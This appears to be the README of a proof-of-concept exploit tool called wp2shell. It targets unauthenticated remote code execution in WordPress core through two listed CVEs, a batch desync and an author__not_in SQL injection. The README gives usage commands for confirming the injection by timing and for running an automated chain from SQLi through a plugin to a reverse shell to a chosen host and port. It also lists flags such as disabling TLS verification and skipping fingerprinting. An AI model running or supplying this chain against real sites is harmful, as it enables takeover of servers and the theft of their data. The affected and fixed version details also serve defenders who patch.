mverschu/cve-2026-63030PoC Exploit of WordPress Core Unauthenticated RCE known as WP2Shell
| Name | wp2shell |
| CVEs | CVE-2026-63030 (batch desync), CVE-2026-60137 (author__not_in SQLi) |
| Affected | WordPress 6.9.0 to 6.9.4, 7.0.0 to 7.0.1 |
| Fixed in | 6.9.5, 7.0.2 |
| Auth needed | None |
| Found by | Adam Kues (Searchlight Cyber / Assetnote) |
Bare host = auto scheme (tries https:// then http://). Prefix with http:// or https:// only when you want to force one.
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
| Flag | What it does |
|---|---|
--shell [LHOST [LPORT]] | stock RCE chain; default LHOST is this box's IP, LPORT is 443 |
--rest-route | try /?rest_route=/batch/v1 first |
--verify-tls | verify TLS certs (off by default for lab/self-signed) |
--proxy URL | send traffic through a proxy |
--force | skip WordPress fingerprinting |